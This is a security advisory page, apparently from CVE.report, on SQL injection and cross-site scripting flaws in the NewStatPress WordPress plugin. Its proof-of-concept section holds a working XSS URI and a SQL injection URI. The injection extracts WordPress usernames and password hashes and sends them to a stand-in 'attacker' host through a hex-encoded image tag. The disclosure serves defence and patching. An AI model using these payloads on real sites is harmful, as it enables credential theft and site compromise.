WordPress NewStatPress Plugin SQL Injection and Cross Site Scripting Vulnerabilities

BID:75575

Info

WordPress NewStatPress Plugin SQL Injection and Cross Site Scripting Vulnerabilities

Bugtraq ID: 75575
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Jul 07 2015 12:00AM
Updated: Jul 07 2015 12:00AM
Credit: g0blin
Vulnerable: WordPress NewStatPress 0.9.9
WordPress NewStatPress 0.9.8
WordPress NewStatPress 1.0.4
Not Vulnerable: WordPress NewStatPress 1.0.6

Discussion

WordPress NewStatPress Plugin SQL Injection and Cross Site Scripting Vulnerabilities

The WordPress NewStatPress plugin for WordPress is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability.

Successful exploits could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Exploit / POC

WordPress NewStatPress Plugin SQL Injection and Cross Site Scripting Vulnerabilities

Attackers can use a browser to exploit the SQL-injection issue. An attacker must trick a victim into following a malicious URI to exploit cross-site scripting issue.

The following example URIs are available:

http://www.example.com/wp-admin/admin.php?groupby1=checked%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29&page=nsp_search&newstatpress_action=search

http://www.example.com/wp-admin/admin.php?where1=ip&what1=0&where2=spider+%3D+0+UNION+SELECT+CONCAT%280x3C696D67207372633D22687474703A2F2F61747461636B65722F3F63726564733D%2C%28select+hex%28group_concat%28concat_ws%28char%2858%29%2Cwp_users.user_login%2Cwp_users.user_pass%29%29%29+from+wp_users+group+by+1%3D1%29%2C0x223e%29--&what2=0&searchsubmit=Search&page=nsp_search&newstatpress_action=search

Solution / Fix

WordPress NewStatPress Plugin SQL Injection and Cross Site Scripting Vulnerabilities

Solution:
Updates are available. Please see the references or vendor advisory for more information.

References

WordPress NewStatPress Plugin SQL Injection and Cross Site Scripting Vulnerabilities

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report